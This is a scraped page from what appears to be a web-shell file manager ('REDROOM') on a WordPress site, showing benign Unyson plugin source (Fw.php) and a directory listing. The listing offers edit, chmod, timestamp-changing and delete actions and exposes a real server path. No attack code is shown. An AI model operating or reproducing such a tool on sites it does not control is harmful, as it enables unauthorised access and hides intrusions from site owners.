REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.68 KB
Close
/home/nshryvcy/radiantskinclinics.org/wp-content/plugins/unyson/framework/core/Fw.php
Text
Base64
<?php if (!defined('FW')) die('Forbidden'); /** * Main framework class that contains everything * * Convention: All public properties should be only instances of the components (except special property: manifest) */ final class _Fw { /** @var bool If already loaded */ private static $loaded = false; /** @var FW_Framework_Manifest */ public $manifest; /** @var _FW_Component_Extensions */ public $extensions; /** @var _FW_Component_Backend */ public $backend; /** @var _FW_Component_Theme */ public $theme; public function __construct() { if (self::$loaded) { trigger_error('Framework already loaded', E_USER_ERROR); } else { self::$loaded = true; } $fw_dir = fw_get_framework_directory(); // manifest { // require $fw_dir .'/manifest.php'; include( plugin_dir_path( __DIR__ ) . 'manifest.php'); /** @var array $manifest */ $this->manifest = new FW_Framework_Manifest($manifest); add_action('fw_init', array($this, '_check_requirements'), 1); } // components { $this->extensions = new _FW_Component_Extensions(); $this->backend = new _FW_Component_Backend(); $this->theme = new _FW_Component_Theme(); } } /** * @internal */ public function _check_requirements() { if (is_admin() && !$this->manifest->check_requirements()) { FW_Flash_Messages::add( 'fw_requirements', __('Framework requirements not met:', 'fw') .' '. $this->manifest->get_not_met_requirement_text(), 'warning' ); } } } /** * @return _FW Framework instance */ function fw() { static $FW = null; // cache if ($FW === null) { $FW = new _Fw(); } return $FW; }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 3 × Files: 3
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
components
DIR
-
drwxr-xr-x
2026-02-23 02:01:24
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
exceptions
DIR
-
drwxr-xr-x
2026-02-23 02:01:24
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
extends
DIR
-
drwxr-xr-x
2026-02-23 02:01:24
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
.htaccess
205 B
lr--r--r--
2026-02-23 02:01:24
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
class-fw-manifest.php
14.31 KB
lrw-r--r--
2025-04-07 05:23:45
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Fw.php
1.68 KB
lrw-r--r--
2025-04-07 05:23:45
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).